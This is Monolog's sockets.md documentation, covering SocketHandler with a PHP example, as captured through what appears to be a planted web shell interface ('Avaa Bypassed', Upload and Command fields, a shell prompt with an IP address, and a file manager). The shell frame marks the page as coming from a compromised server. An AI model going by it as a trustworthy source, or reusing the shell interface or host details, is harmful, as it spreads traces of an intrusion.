404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@3.145.152.168: ~ $
Sockets Handler
===============

This handler allows you to write your logs to sockets using [fsockopen](http://php.net/fsockopen)
or [pfsockopen](http://php.net/pfsockopen).

Persistent sockets are mainly useful in web environments where you gain some performance not closing/opening
the connections between requests.

You can use a `unix://` prefix to access unix sockets and `udp://` to open UDP sockets instead of the default TCP.

Basic Example
-------------

```php
<?php

use Monolog\Logger;
use Monolog\Handler\SocketHandler;

// Create the logger
$logger = new Logger('my_logger');

// Create the handler
$handler = new SocketHandler('unix:///var/log/httpd_app_log.socket');
$handler->setPersistent(true);

// Now add the handler
$logger->pushHandler($handler, Level::Debug);

// You can now use your logger
$logger->info('My logger is now ready');

```

In this example, using syslog-ng, you should see the log on the log server:

    cweb1 [2012-02-26 00:12:03] my_logger.INFO: My logger is now ready [] []

Filemanager

Name Type Size Permission Actions
01-usage.md File 10.09 KB 0644
02-handlers-formatters-processors.md File 20.12 KB 0644
03-utilities.md File 943 B 0644
04-extending.md File 2.51 KB 0644
message-structure.md File 2.25 KB 0644
sockets.md File 1.03 KB 0644